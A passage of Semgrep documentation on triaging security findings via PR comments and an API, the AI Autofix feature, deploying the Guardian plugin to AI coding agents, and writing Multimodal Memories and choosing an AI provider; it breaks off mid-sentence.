Click **Matching rules**.
Click **Change modes > Disabled**.
## Triage findings through PR and MR comments
You can triage your Semgrep AppSec Platform findings displayed as comments in PRs and MRs by replying with another comment.
Before proceeding, ensure that you have:
* One or more repositories hosted by a [Semgrep-supported source code manager (SCM)](/getting-started/scm-support).
* Configured [PR or MR comments](/category/pr-or-mr-comments) for your SCM.
* Enabled the option in your Semgrep organization settings.
i. Click **Settings**. This takes you to the **General > Global** settings tab.
ii. Enable the toggle under **Default developer triage permissions**.
* *For SCMs other than GitHub:*
* Granted Semgrep permission to interact with pull requests and create webhooks for your SCM.
* Enabled the **Incoming webhooks** option on the SCM connection.
### Grant permission to interact with pull requests and create webhooks for your SCM
See the following documents for instructions on granting the correct permissions to enable pull request interaction and webhook management:
Once you've turned on this feature, you can triage a finding using the following steps:
Find an open comment created by Semgrep in your pull request or merge request.
Reply to the comment with the action you want to take. You must provide a reason to help the reader understand why the finding has been triaged as ignored:
| Comment | Description |
| :------------------------------------------ | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| /fp \ | Triage a finding as **Ignored** with the triage reason **false positive**. Provide a \ with information about the triage decision. |
| /ar \ | Triage a finding as **Ignored** with the triage reason **acceptable risk**. Provide a \ with information about the triage decision. |
| /other \ | Triage a finding as **Ignored** without specifying the reason; the triage reason value is set to **No triage reason**. Provide a \ with information about the triage decision. |
| /open \ | Reopen a finding that has been triaged as **Ignored**. Optionally, provide a \ with information about the decision to reopen the finding. |
Semgrep attempts to reply to your comment if it successfully triages the finding.
Triaging a finding as **Ignored** through a comment changes the status of the finding to **Ignored** in Semgrep AppSec Platform. However, the pull request or merge request conversation itself is **not** automatically resolved by this process.
**LEGACY COMMANDS**
Semgrep supports older versions of this feature that used the following commands:
* /semgrep ignore \ - triage a finding as **Ignored**.
* /semgrep open \ - reopen a finding that has been triaged as **Ignored**.
## Triage findings in bulk through the Semgrep API
Semgrep provides an API endpoint you can use to triage findings in bulk, either by passing a list of `issue_ids` or filter query parameters to select findings. You must also specify an `issue_type`, such as `sast` or `sca`, and either `new_triage_state` or `new_note`.
The available `new_triage_state` values you can set are:
* `open`
* `reviewing`
* `fixing`
* `ignored`
* `fixed`
If specifying a `new_triage_reason`, you must also use `new_triage_state=ignored`.
**NOTE**
When retrieving findings through the API, you might see the `provisionally_ignored` status. This status is automatically set by Semgrep and cannot be manually assigned through the bulk triage API.
Refer to [Bulk triage API documentation](/api-reference/v1/triageservice/bulk-triage) for complete details.
# Autofix for Semgrep Code
Source: https://docs.semgrep.dev/semgrep-code/triage-remediation/autofix
Semgrepβs Autofix feature uses AI to generate proposed code changes for Semgrep Code findings and open a draft pull or merge request.
Autofix creates a branch, applies the changes, and opens a draft pull request (PR) or merge request (MR). You remain in full control over reviewing and merging the PR or MR.
Autofix is different from [Rule-defined fix](/writing-rules/rule-defined-fix) and [Semgrep Multimodal's Suggested fix](/semgrep-multimodal/overview#suggested-fix). These are separate features with different behaviors and use cases.
## Prerequisites
To use Autofix, you must meet the following requirements:
* [Enable Semgrep Multimodal](/semgrep-multimodal/getting-started).
* Accept Amazon Bedrock or Anthropic's Claude models.
* Semgrep Code does not respect AI model selection.
* Have at least one connected repository with new or existing Semgrep Code findings.
* Grant the SCM roles, scopes, and app permissions Autofix needs for your SCM. See [SCM permissions](/deployment/prepare/scm-permissions#permissions) for the **Autofix** row for your provider and [Grant code access](/semgrep-appsec-platform/scm-code-access) to configure your connection. For GitHub API and security review details, see [Autofix permissions](/deployment/prepare/scm-permissions#autofix-github-permissions).
Autofix requires **read and write** access to your repositories on your SCM so Semgrep can push a branch and open a PR or MR.
## Use Autofix
Log in to [Semgrep AppSec Platform](https://semgrep.dev/orgs/-)
Click **Code** to view all SAST findings.
Identify the finding you want to Autofix and click the hyperlink on the card to navigate to the findingβs **Details** page.
From the **Fix** drop-down, select **Open Autofix PR**.
You will see the following message:
> Starting to generate Autofix PR. Semgrep is generating an Autofix PR for this finding. A new notification will appear here when the PR is ready.
In **2 to 10 minutes**, Semgrep generates a proposed fix and opens a draft PR or MR in your SCM.
* This action is recorded in the **Activity** section at the bottom of the findingβs **Details** page.
Click **View Autofix PR** in the **FIX DETAILS** section to review the newly created PR or MR.
### PR or MR details
* The pull or merge request is opened as a **draft** for Semgrep Code findings.
* Semgrep provides an AI-generated description of the changes in the PR or MR.
* On GitHub, the pull request is authored by the **Semgrep GitHub App**.
* If your SCM account is connected to Semgrep, you are automatically **mentioned** in the PR or MR.
### Findings with open PRs on Semgrep AppSec Platform
You can filter for findings with Autofix PRs directly from the **Code** page in Semgrep AppSec Platform. Click the **To fix** drop-down and select **To fix** to do so.
This filter shows findings that have Autofix PRs. It may also include findings that were manually marked as **To fix**.
## Disable Autofix
If you use Semgrep Multimodal, Autofix is enabled by default. To adjust settings:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login)
Navigate to **Settings > General > Code**
Set the Autofix toggle to enabled or disabled
## How Autofix PRs are generated
Autofix generates a proposed change specifically for the PR workflow. This process uses the detected pattern and surrounding code context to produce the fix.
### Use of remediation guidance
When Multimodal remediation guidance exists for a finding, the descriptive guidance is used to generate the code changes included in the PR.
### How memories affect PR generation
At this time, Semgrep Memories do not directly influence Autofix PR generation.
Memories may affect PRs indirectly through remediation guidance. If remediation guidance has been generated and includes information derived from memories, that guidance is passed into the PR generation process. However, memories themselves are not currently sent as direct input when generating the PR.
# Semgrep Guardian enterprise deployment
Source: https://docs.semgrep.dev/semgrep-guardian/enterprise-deployment
How to deploy Semgrep Guardian in your enterprise environment.
To roll out Semgrep Guardian organization-wide, standardize the installation process so that the plugin is automatically installed by the developer's agent, rather than relying on each developer to install it manually.
## Use your agent's built-in enterprise controls
Many coding agents let you pin an approved marketplace or plugin for your whole team. This is the simplest way to make Guardian available, or required, everywhere:
* Claude Code: [Require marketplaces for your team](https://code.claude.com/docs/en/plugin-marketplaces#require-marketplaces-for-your-team)
* Cursor: [Team marketplaces](https://cursor.com/docs/plugins#team-marketplaces)
## Deploy through a mobile device management (MDM) platform for more granularity
Deploy through your MDM platform to scope rollout by device group, or to combine Guardian with other managed configurations deployed through your MDM.
Anthropic maintains a set of [MDM deployment examples and best practices](https://github.com/anthropics/claude-code/tree/main/examples/mdm) that cover managed settings for macOS, including `.plist` and `.mobileconfig` profiles through Jamf, Kandji, and similar, and Windows, including PowerShell file deployment or ADMX/registry policy via Intune and Group Policy, along with how to verify that managed settings are applied.
For Claude Code, the managed settings enable the Guardian plugin from the Claude official marketplace for every user, so they don't have to run `/plugin` themselves. The same payload is reused across the MDM paths below, just delivered differently (as an MDM `.mobileconfig` or `.plist`). Settings deployed through MDM cannot be overridden by users, so the plugin stays enabled.
The minimal managed-settings payload looks like the following:
```json theme={null}
{
"enabledPlugins": {
"semgrep@claude-plugins-official" : true
}
}
```
Guardian is published to the Claude official marketplace (`claude-plugins-official`), so the payload only needs to enable the plugin. There's no separate marketplace to declare.
For the Iru and Jamf paths, the same payload is provided as a ready-to-upload property list [`com.anthropic.claudecode.plist`](/assets/guardian/com.anthropic.claudecode.plist).
These are community-maintained templates and may be unsupported or incorrect. You are responsible for verifying the configuration before deploying it to a fleet.
```xml theme={null}
enabledPluginssemgrep@claude-plugins-official
```
Deploy a Custom Profile by uploading the [`semgrep-marketplace.mobileconfig`](/assets/guardian/semgrep-marketplace.mobileconfig) configuration profile.
Go to **Library > Add Library Item > Custom Profile** and upload the [`semgrep-marketplace.mobileconfig`](/assets/guardian/semgrep-marketplace.mobileconfig) file.
Update `PayloadIdentifier` and `PayloadOrganization` to match your organization before uploading.
```xml theme={null}
PayloadDisplayNameClaude Code β Semgrep Guardian Plugin SettingsPayloadDescriptionEnforces the Semgrep Guardian plugin enable/disable policy.PayloadIdentifiercom.yourorg.comPayloadOrganizationyourorgPayloadScopeSystemPayloadTypeConfigurationPayloadUUIDDA9306A3-D913-47D0-95D9-0594D39CFE76PayloadVersion1PayloadContentPayloadDisplayNameClaude Code Marketplace SettingsPayloadIdentifierB85904F9-D6ED-4D4C-BD27-A49B9CCF0E6FPayloadTypecom.apple.ManagedClient.preferencesPayloadUUIDB85904F9-D6ED-4D4C-BD27-A49B9CCF0E6FPayloadVersion1PayloadContentcom.anthropic.claudecodeForcedmcx_preference_settingsenabledPluginssemgrep@claude-plugins-official
```
Name the profile `Semgrep Guardian - Managed Settings`.
Assign the profile to your blueprint as needed.
Save.
Deploy a Custom Settings payload with preference domain `com.anthropic.claudecode` through a Configuration Profile.
To do so, refer to Jamf's guide,[Deploying Custom Computer Configuration Profiles Using the Application and Custom Settings Payload](https://learn.jamf.com/r/en-US/technical-articles/Deploying_Custom_Computer_Configuration_Profiles_Using_the_Application_and_Custom_Settings_Payload). Ensure that you use the preference domain `com.anthropic.claudecode` and the provided [`com.anthropic.claudecode.plist`](/assets/guardian/com.anthropic.claudecode.plist) file as the uploaded property list.
**Tips**
* Test the rollout on a single machine before pushing to the whole fleet.
* After deploying, confirm that Guardian loaded by running `/plugin` (it should show as installed and enabled) and that the Guardian MCP appears.
* Users still need to log in to Semgrep once Guardian is installed. See the setup steps in [Connect to your IDE](/semgrep-guardian/overview#connect-to-your-ide).
## Get help with a custom rollout
[Contact Semgrep](/support) or send a message to the [#mcp channel on Slack](https://go.semgrep.dev/slack) if you would like help building something custom for your MDM or agent fleet.
# Semgrep Guardian
Source: https://docs.semgrep.dev/semgrep-guardian/overview
Set up Semgrep's AI coding agent security plugin to scan AI-generated code and identify security issues before they ship.
Semgrep Guardian integrates natively with AI coding agents like Claude Code and Cursor to catch security issues before they ship. It bundles the Semgrep MCP server, Hooks, and Skills into a single install, and scans every file an agent generates using Semgrep Code, Supply Chain, and Secrets. When findings are detected, the agent is prompted to regenerate code until Semgrep returns clean results or you choose to dismiss them.
The plugin uses each IDE's native hook or MCP system:
* **Claude Code**: [hooks](https://code.claude.com/docs/en/hooks) and [plugins](https://code.claude.com/docs/en/plugins)
* **Codex**: [MCP](https://developers.openai.com/codex/mcp)
* **Cursor**: [hooks](https://cursor.com/docs/hooks) and [MCP](https://cursor.com/docs/mcp)
* **GitHub Copilot** (Visual Studio, JetBrains, Xcode, Eclipse): [MCP](https://docs.github.com/en/copilot/how-tos/provide-context/use-mcp-in-your-ide/extend-copilot-chat-with-mcp)
* **Kiro**: [MCP](https://kiro.dev/docs/mcp/)
* **VS Code**: [MCP](https://code.visualstudio.com/docs/copilot/customization/mcp-servers)
* **Devin** (Windsurf): [Cascade hooks](https://docs.windsurf.com/windsurf/cascade/hooks)
This guide covers setup for each of the preceding products listed, but the plugin works with any MCP client.
## Prerequisites
* A Semgrep account
## Connect to your IDE
Claude Code uses Semgrep's hosted remote server by default, so you do not need to install the Semgrep CLI locally.
The MCP server bundled with this plugin works on all platforms. On Windows, however, it requires [Windows Subsystem for Linux (WSL)](https://learn.microsoft.com/en-us/windows/wsl/install) for the MCP server to work out of the box.
Start a Claude Code instance:
```bash theme={null}
claude
```
Open the plugin manager:
```bash theme={null}
/plugin
```
Go to **Discover**, search for **Semgrep**, and click **Install**.
Tell Claude to load the plugin:
```bash theme={null}
/reload-plugins
```
Start a new session in Claude to begin the Semgrep login flow:
```bash theme={null}
/clear
```
The plugin registers a post-tool hook so Claude Code scans every file it writes. Learn more about [Claude Code plugins](https://code.claude.com/docs/en/plugins) and [hooks](https://code.claude.com/docs/en/hooks).
The remote server is the recommended default. If you need to run Semgrep locally instead, you can install the local plugin from the [`semgrep/guardian-local`](https://github.com/semgrep/guardian-local) repo.
[Install the Semgrep CLI](#install-the-semgrep-cli).
Start a Claude Code instance:
```bash theme={null}
claude
```
Open the plugin manager:
```bash theme={null}
/plugin
```
Go to **Discover**. Search for **Semgrep**, and then click **Install**.
Load the plugin:
```bash theme={null}
/reload-plugins
```
[Install the Semgrep CLI](#install-the-semgrep-cli).
Update your `~/.codex/config.toml` file and paste the following:
```bash theme={null}
[mcp_servers.semgrep]
command = "semgrep"
args = ["mcp"]
```
Codex does not expose a post-write hook, so Semgrep tools are surfaced through MCP and invoked when the agent calls them. Learn more about [Codex MCP configuration](https://developers.openai.com/codex/mcp).
[Install the Semgrep CLI](#install-the-semgrep-cli).
Find Semgrep in the [Cursor Plugin Marketplace](https://cursor.com/marketplace/semgrep), or open **Cursor > ββ§J > Plugins**. Search "Semgrep" and click **Add to Cursor**.
Restart Cursor to apply configuration.
In Cursor's chat, run the `/setup-semgrep-plugin` skill to finish wiring up the plugin.
The plugin uses [Cursor hooks](https://cursor.com/docs/hooks) (`afterFileEdit` and `stop`) to scan code as the agent writes it, and exposes Semgrep tools through [Cursor MCP](https://cursor.com/docs/mcp).
Use this tab for GitHub Copilot in Visual Studio, JetBrains IDEs, Xcode, or Eclipse. (For Copilot in VS Code, use the **VS Code** tab.)
[Install the Semgrep CLI](#install-the-semgrep-cli).
Register the Semgrep MCP server with your IDE's Copilot configuration. The JSON shape is the same across IDEs:
```json theme={null}
{
"servers": {
"semgrep": {
"command": "semgrep",
"args": ["mcp"]
}
}
}
```
Follow your IDE's instructions for *where* to put this entry: [Extending Copilot Chat with MCP servers](https://docs.github.com/en/copilot/how-tos/provide-context/use-mcp-in-your-ide/extend-copilot-chat-with-mcp) covers Visual Studio, JetBrains, Xcode, and Eclipse.
Restart your IDE and open Copilot Chat. Semgrep tools become available in **Agent** mode.
Copilot does not expose a post-write hook, so Semgrep tools are invoked when the agent calls them through MCP.
[Install the Semgrep CLI](#install-the-semgrep-cli).
Add the Semgrep MCP server to VS Code. Create `.vscode/mcp.json` in your workspace (or run the **MCP: Open User Configuration** command from the Command Palette for a user-wide entry) and paste the following:
```json theme={null}
{
"servers": {
"semgrep": {
"command": "semgrep",
"args": ["mcp"]
}
}
}
```
Reload VS Code. Semgrep tools become available in the Copilot Chat **Agent** mode.
VS Code does not expose a post-write hook today, so Semgrep tools are invoked when the agent calls them through MCP. Learn more about [adding and managing MCP servers in VS Code](https://code.visualstudio.com/docs/copilot/customization/mcp-servers).
[Install the Semgrep CLI](#install-the-semgrep-cli).
Create a `hooks.json` file at `~/.codeium/windsurf/hooks.json` and paste the following configuration:
```json theme={null}
{
"hooks": {
"post_write_code": [
{
"command": "semgrep mcp -k post-tool-cli-scan -a windsurf",
"show_output": true
}
]
}
}
```
Restart Windsurf to apply hook configuration.
The `post_write_code` event fires after Cascade writes or modifies any file. Learn more about [Windsurf Cascade hooks](https://docs.windsurf.com/windsurf/cascade/hooks).
Kiro uses your locally installed Semgrep CLI to run Semgrep on your machine, so [install the Semgrep CLI](#install-the-semgrep-cli) first. Clicking the box below opens Kiro directly so you can add the server; it will not open a new browser tab.
[](https://kiro.dev/launch/mcp/add?name=semgrep\&config=%7B%22command%22%3A%22semgrep%22%2C%22args%22%3A%5B%22mcp%22%5D%2C%22env%22%3A%7B%22SEMGREP_APP_TOKEN%22%3A%22%24%7BSEMGREP_TOKEN%7D%22%7D%7D)
Alternatively, follow the [Kiro MCP docs](https://kiro.dev/docs/mcp/) and add this file to your `.kiro/settings/mcp.json`:
```json theme={null}
{
"mcpServers": {
"semgrep": {
"command": "semgrep",
"args": ["mcp"],
"env": {
"SEMGREP_APP_TOKEN": "${SEMGREP_TOKEN}"
}
}
}
}
```
See [Kiro docs](https://kiro.dev/docs/mcp/) for more info.
[Install the Semgrep CLI](#install-the-semgrep-cli), then add the Semgrep MCP Server to your IDE. Semgrep provides [sample configuration information](https://github.com/semgrep/semgrep/tree/develop/cli/src/semgrep/mcp#integrations) that you can use as a starting point. Refer to your IDE's documentation for specific details on where to add the MCP server configuration.
If your IDE supports a post-write or post-tool hook, point it at `semgrep mcp -k post-tool-cli-scan -a ` to scan generated code automatically. The Windsurf tab above shows this pattern.
## What rules does Semgrep Guardian scan with?
Guardian uses different rules depending on the environment in which you use it:
* **Claude Code remote server (default):** scans with the default [Guardian ruleset](https://semgrep.dev/p/guardian-default). This is not currently configurable. If you require custom rules, see Semgrep's `#mcp` [Slack community](https://go.semgrep.dev/slack) for assistance.
* **Claude Code local and all other IDE integrations:** scans with the rules enabled for your Semgrep organization through your Policies.
## Install the Semgrep CLI
Every IDE except Claude Code runs Semgrep from a locally installed CLI. Claude Code uses Semgrep's hosted remote server by default and does not need a local CLI.
Install the Semgrep CLI using pipx, uv, or Homebrew. This requires Python 3.10 or later -- the Semgrep CLI needs Python at runtime regardless of how you installed the CLI:
```bash theme={null}
# preferred: install using pipx (https://pipx.pypa.io/stable/how-to/install-pipx/)
pipx install semgrep
# preferred: install using uv (https://docs.astral.sh/uv/)
uv tool install semgrep
# best-effort (macOS): install using Homebrew (maintained on a best-effort basis; often lags behind the latest release)
brew install semgrep
```
**NOTE**
`pipx` and `uv` are the preferred installation methods. The Homebrew formula is maintained on a best-effort basis and often lags behind the latest release.
**Homebrew users:** ensure that you've [added Homebrew to your PATH](https://docs.brew.sh/FAQ#my-mac-apps-dont-find-homebrew-utilities).
Verify that you've installed the [latest version](https://github.com/semgrep/semgrep/releases) of Semgrep:
```bash theme={null}
semgrep --version
```
Sign in to your Semgrep account and install the Semgrep Pro engine:
```bash theme={null}
semgrep login && semgrep install-semgrep-pro
```
`semgrep login` launches a browser window. You can also use the activation link printed in the terminal.
## Additional resources
* Semgrep's `#mcp` [Slack community](https://go.semgrep.dev/slack)
* The [Semgrep MCP server repo on GitHub](https://github.com/semgrep/semgrep/tree/develop/cli/src/semgrep/mcp)
# Analyze Code findings
Source: https://docs.semgrep.dev/semgrep-multimodal/analyze
Once you've [enabled Multimodal](/semgrep-multimodal/getting-started), you can use the **Analyze** button on the [Findings page](/semgrep-code/findings) to trigger all Multimodal functions for Semgrep Code, including remediation guidance, Suggested fix, autotriage, and component tagging, on existing findings.
## Analyze your findings with Multimodal
On the [Findings](https://semgrep.dev/orgs/-/findings?tab=open) page, select the findings that you want Multimodal to analyze.
Click **Analyze**.
In the confirmation dialog that appears, confirm that you want to analyze your findings with Multimodal.
After Multimodal performs these functions, you can see its results on the **Code** page using the **Recommendation** or **Component** filters. When viewing your findings, you can see false positive and true positive recommendations in a finding's **Details** page.
The amount of time required to analyze your findings varies. Before running the analysis, the confirmation dialog provides an estimated wait time.
**INFO**
* For Team tier users with less than 10 contributors: There is a cap of 50 Multimodal runs per month using the **Analyze** button.
* For Team or Enterprise users with an active subscription: There is a cap of 10,000 Multimodal runs per month using the **Analyze** button. It is rate-limited to 1,000 Multimodal runs per hour.
* For users of any tier: Multimodal runs against pull requests (PRs) and merge requests (MRs) do not count against this limit.
## When Multimodal auto-analyzes findings
Multimodal automatically analyzes new findings from a **full scan** that have **Critical** or **High** severity AND **High** or **Medium** confidence.
On a diff-aware scan, Multimodal auto-analyzes up to a maximum 10 new findings, regardless of severity or confidence.
**NOTE**
Some findings created before November 2025 may not be auto-analyzed, even if they meet the criteria.
### Request analysis for existing findings
If you want Multimodal analyses for findings that were not automatically analyzed, you can request them in bulk through Semgrep AppSec Platform. See the [Analyze your findings with Multimodal](/semgrep-multimodal/analyze#analyze-your-findings-with-multimodal) section for details.
If you need assistance with bulk analysis requests or have questions about backfilling analyses for your findings, contact [Semgrep Support](/support).
## View Multimodal recommendations
You can [view all of Semgrep Multimodal's recommendations](/semgrep-code/findings/#filter-findings) by going to the Semgrep **Findings** page and filtering by **Recommendation** or **Component**.
## Provide feedback on Multimodal recommendations
Semgrep Multimodal prompts you for feedback whenever it suggests that a finding is a false positive. Because Multimodal content is generated by large language models (LLMs), your feedback helps the Semgrep team improve Multimodal.
Semgrep Multimodal lets you leave feedback in the following places:
* In Semgrep AppSec Platform: the Multimodal recommendation appears in Semgrep Code's **Finding Details** page under **Activity**, along with **Agree and ignore** or **Disagree** buttons.
* In Slack notifications: the **Agree** and **Disagree** buttons appear under the Multimodal recommendation message.
# Best practices for writing Memories
Source: https://docs.semgrep.dev/semgrep-multimodal/best-practices-for-memories
This page covers various best practices for writing Memories.
## Voice and tone
When writing Memories, aim to "talk" to Multimodal the way that you would talk to a new security intern:
* Present and describe the information clearly.
* Describe technical concepts as simply as possible.
* Explain the consequences and outcomes of actions in detail.
The following are two examples of well-written Memories:
> When generating remediation for SQL injection issues, ensure that the SQL is compatible with BigQuery.
> Data from Foo internal services, such as Bar and FooBar, are trusted sources for data flowing into the URL. These findings are false positives.
## Purpose
Before beginning, decide what the purpose of the Memory is: triage, remediation, or both.
If the purpose of the Memory is to influence triage, you can provide a natural language description of the expected consequence:
> This repository is a QA repository. All findings can be safely ignored due to these mitigating factors.
If the goal is to influence Multimodal's remediation guidance, you can provide a natural language description of the recommendation:
> As a standard, leverage the `Jsoup.clean()` function to sanitize input.
Once you've decided on the purpose, this informs how you explain your expectations and desired outcomes to Multimodal.
## Structure
When writing a Memory, be sure to include as many of the following components as necessary:
The **conditions** that Multimodal should be looking for in the codebase, as well as any context Multimodal should consider when analyzing your codebase
**Guidance** as to how Multimodal identifies the conditions that you specified
The **implications** for triage and remediation if Multimodal identifies that the conditions you specify are present in your codebase
### Example #1
> Dockerfiles with image `foo` are designed to run as a non-root user and are an acceptable risk. All relevant findings are false positives.
In the preceding Memory, you can see all three components present:
**Condition and context**: Dockerfiles with image `foo` are designed to run as non-root user.
**Guidance**: Look for Dockerfiles with image `foo`.
**Implication**: This is an acceptable risk, so the findings are flagged as false positives.
### Example #2
> Code that's flagged for missing cookie security attributes may be a false positive if the code's purpose is to delete or clear a cookie, since security attributes may not be necessary for immediate removal.
In the preceding Memory, you can see all three components present:
**Condition and context**: There exists code whose purpose is to delete or clear a cookie, but security attributes may not be necessary for immediate removal of the cookie.
**Guidance**: Look for findings where the purpose of the code is to delete or clear a cookie and Semgrep's static analysis has flagged it for missing cookie security attributes.
**Implication**: Relevant findings should be flagged as false positives.
## Additional considerations
In addition to the voice and tone of the Memory, its purpose, and its structure, consider the following when writing your Memory.
### Write Memories that are general in nature
Avoid writing Memories that don't generalize beyond the original finding. For example, the following Memory is specific to a finding:
> Interpolated value does not involve user input.
You can generalize this to:
> Interpolated values that are program constants aren't considered dangerous.
Another example of a highly specific Memory is:
> The function is called through generated methods, making it unreachable in this use case.
You can generalize this to:
> Functions called through generated methods from framework X or methods that look like Y are safe.
### State all implications and be clear on what the consequences of something are
When writing the Memory, be clear about the implications and consequences are for Multimodal.
In the following example, the Memory states a fact, but leaves the implication unstated:
> The function `generateDevSecret` is used to create development secrets.
The leaking of development secrets might not be a problem, but it's also possible that leaking development secrets is as big a security issue as leaking production secrets.
For some organizations, development secrets are just as powerful as production secrets. For other organizations, development secrets are ephemeral, and it's not a major issue if they're leaked. As such, it's essential to rewrite the Memory with the implication stated to help Multimodal analyze a finding:
> Secrets created by the `generateDevSecret` function are considered development secrets and pose a security risk.
### Understand the context available to Multimodal
When Multimodal analyzes a finding, it has the following contextual information available:
* The Semgrep rule
* The code matched by the Semgrep rule
* Multiple lines of code surrounding the finding
* Examples from an AppSec knowledge base
* Memories that you have written
* Prior fixes for similar issues
Multimodal does not have access to any other information for use during analysis. For example, the following Memory is ineffective:
> Please provide an alternative solution for the validator.
Multimodal isn't going to use past remediation advice in a prompt, so the preceding Memory likely results in Multimodal hallucinating. In this case, if you want Multimodal to avoid using a specific validator, you can specify this:
> Fixes should be generated with an alternative to the validation library X.
One common issue is the use of links in memories. Multimodal cannot access links, and therefore it cannot read the information that's behind the link. Instead, provide the information at the link to Multimodal explicitly:
> Recommend a fix similar to this code: `Sample code...`
Another common issue is assuming that Multimodal has access to context that it doesn't actually have. For example,
> API key from a forked repository poses no security risk.
It's difficult to determine programmatically if a repository is forked, and Multimodal cannot use this information when analyzing a finding. Instead, specify the repositories that you've forked:
> Repositories X, Y, and Z are forked. API keys in forked repositories should be triaged as false positives.
# Customize Semgrep Multimodal
Source: https://docs.semgrep.dev/semgrep-multimodal/customize
You can customize Semgrep Multimodal by enabling and using the features detailed on this page.
## Autofix
To receive AI-generated code changes for Semgrep Code findings, enable [Autofix](/semgrep-code/triage-remediation/autofix). Autofix opens a pull request or merge request with proposed fixes.
## Suggested fix
Enable Multimodal's **[Suggested fix](/semgrep-multimodal/overview#suggested-fix)** to see an explanation on how to fix true positives.
To enable Suggested fix, follow these steps:
Sign in to Semgrep AppSec Platform, and navigate to **Settings > General > Code**.
Click the **Suggested fix** toggle to enable this feature.
*Optional*: Select a **confidence level** in the drop-down box. This value determines the quality of Suggested fix. For example, if you select lower confidence, Semgrep Multimodal suggests a fix even when the suggestion quality is lower.
**TIP**
Semgrep recommends setting a low confidence level since even imperfect suggestions may be useful starting points for triage and remediation.
## Weekly priority emails
[Weekly priority emails](/semgrep-multimodal/overview/#weekly-priority-emails) allows organization admins to receive information on top backlog tasks according to Multimodal. If this feature is not enabled for your deployment, you can do so as follows:
Sign in to Semgrep AppSec Platform, and navigate to **Settings > General > Global**.
Click the **Weekly priority emails** if it is not yet enabled.
## Noise filtering
Multimodal is [over 95% accurate in categorizing Semgrep Code findings as false positives](/semgrep-multimodal/metrics.md), so you can minimize the number of findings shown by enabling **Noise filter for Code PR/MR comments**. To do so:
Sign in to Semgrep AppSec Platform, and navigate to **Settings > General > Code**.
Click the **Noise filter for Code PR/MR comments** if it is not yet enabled.
Select whether you want to enable PR or MR comments:
1. **Donβt leave a PR/MR comment**: Hide Semgrepβs comments on findings that are likely to be false positives. These findings are available for security review on the [**Code > Pre-production backlog** page](https://semgrep.dev/orgs/-/findings?tab=open\&last_opened=All+time\&backlog=preprod). Comments still appear for rules in [**Block** mode](/semgrep-code/policies#block-a-pr-or-mr-through-rule-modes).
2. **Include a notification in the PR/MR comment**: Show developers likely false positive findings in PR/MR comments, but include a note explaining why Multimodal thinks the finding may be safe to ignore.
Findings filtered out by Multimodal can be reviewed at any time in Semgrep by going to the [**Code > Pre-production backlog** page](https://semgrep.dev/orgs/-/findings?tab=open\&last_opened=All+time\&backlog=preprod). Semgrep also allows you to agree with the filtering to close the finding or disagree to reopen.
## Add Memories
Memories allow admins to tailor Multimodal's remediation guidance to their organization's standards and defaults. You can provide feedback by adding custom instructions whenever Multimodal provides a Suggested fix.
Memories are enabled by default for all organizations with Multimodal enabled.
### Add a memory
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to [ **Rules & Policies > Memories**](https://semgrep.dev/orgs/-/memories).
Click **New Memory**.
In **Memory**, enter your preferred remediation approach and secure default.
Select the **Projects** and the **Rules** to which the memory should be applied.
1. Choose **All projects** or any specific project.
2. Choose **All rules**, or search for and select a specific rule or a general vulnerability class. Selecting a vulnerability class means the memory applies to *all* rules with that vulnerability class.
Click **Add memory** to save your changes and proceed.
See [Best practices for writing Memories](/semgrep-multimodal/best-practices-for-memories) for information on writing effective memories.
### Add a memory based on Multimodal's Suggested fix
To add a memory based on a Suggested fix presented by Multimodal:
Identify the specific instance of **Multimodal's Suggested fix** that you want to modify. This can be found on the finding details page or in the PR or MR comment.
* If Multimodal used existing memories to generate the guidance, you can click on **Referenced X memories while writing this guidance** to see the memories used.
Click **Customize fix** to open an input box, and enter your preferred remediation approaches and secure defaults for the project. Your suggestion can be as general as "Use X library to sanitize SQL queries."
Click **Save and regenerate**.
Multimodal regenerates the Suggested fix to reflect the instructions you provided.
Memories are scoped to remediation guidance on a per-project, per-vulnerability class, or per-rule basis. A saved memory only affects future guidance for findings triggered by the same rule in the same project.
### Add memory during triage and receive memory suggestions from Multimodal
When you identify findings that are safe to ignore and provide reasoning for your actions, Semgrep Multimodal can use this triage feedback to suggest memories. It can start suggesting memories from the very first triage feedback it receives, or it may suggest memories from multiple pieces of feedback, depending on the level of detail in the feedback and the finding's unique context. If Multimodal creates a new memory, it will use the memory to assess if similar findings are safe to ignore and hide from developers.
To triage and create a memory (Semgrep automatically attempts to create a memory during triage if possible):
Identify the specific finding you want to modify, and open up its finding details page.
Click **Ignore**, select an **Ignore reason**, and provide **Comments** on why you're triaging the finding as **Ignore**.
Click **Ignore**. Multimodal attempts to create a memory using the information you provide. If Multimodal successfully creates a memory for you, you'll see a link to the list of memories for your organization in the dialog that appears.
Permissions:
* Automatic generation of memories: if you are an **admin** user, Multimodal tries to generate **active** memories from your triage feedback.
* If you are a non-admin user, such as a manager, Multimodal creates a **suggested** memory that needs an admin to activate it.
### View and edit memories
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to [ **Rules & Policies > Memories**](https://semgrep.dev/orgs/-/memories).
There are two tabs on the **Memories** page for your review:
* The **Active** tab displays a list of memories that Multimodal is actively using to generate triage advice
* The **Suggested** tab displays a list of memories Multimodal has generated based on past triage actions and developer feedback. For each suggestion, you can:
* Activate the suggested memory to inform Multimodal's advice on current and future findings
* Edit the memory, then activate it
* Delete the suggested memory
Only users assigned the `admin` role in Semgrep can activate suggested memories.
### Remove memories
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
Navigate to [**Rules & Policies > Memories**](https://semgrep.dev/orgs/-/memories).
Identify the memory you would like to delete, then click the **icon** to remove the memory.
## Select your AI provider
By default, Semgrep Multimodal uses OpenAI and Amazon Bedrock with Semgrep's API keys.
Semgrep evaluates available models from multiple providers and selects the most performant option for each Multimodal feature, based on the providers enabled for your organization. For optimal results, keep both OpenAI and Amazon Bedrock enabled. Enabling additional model providers can further improve performance.
You can opt to:
* Use OpenAI with your own API key
* Use your own Amazon Bedrock account
* Use Azure OpenAI
* Use Google Gemini.
* Use xAI.
### OpenAI API with your own key
If you want complete control over how OpenAI handles your data, you can use your OpenAI API key instead of Semgrep's. To provide your OpenAI API key:
Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login) and navigate to [ **Settings > Global**](https://semgrep.dev/orgs/-/settings/general).
Click the **icon** next to **AI provider**.
Select **Your OpenAI API key**, and provide your API key.
Click **Save** to proceed.
By switching from Semgrep's key to your key, note that you lose access to the following:
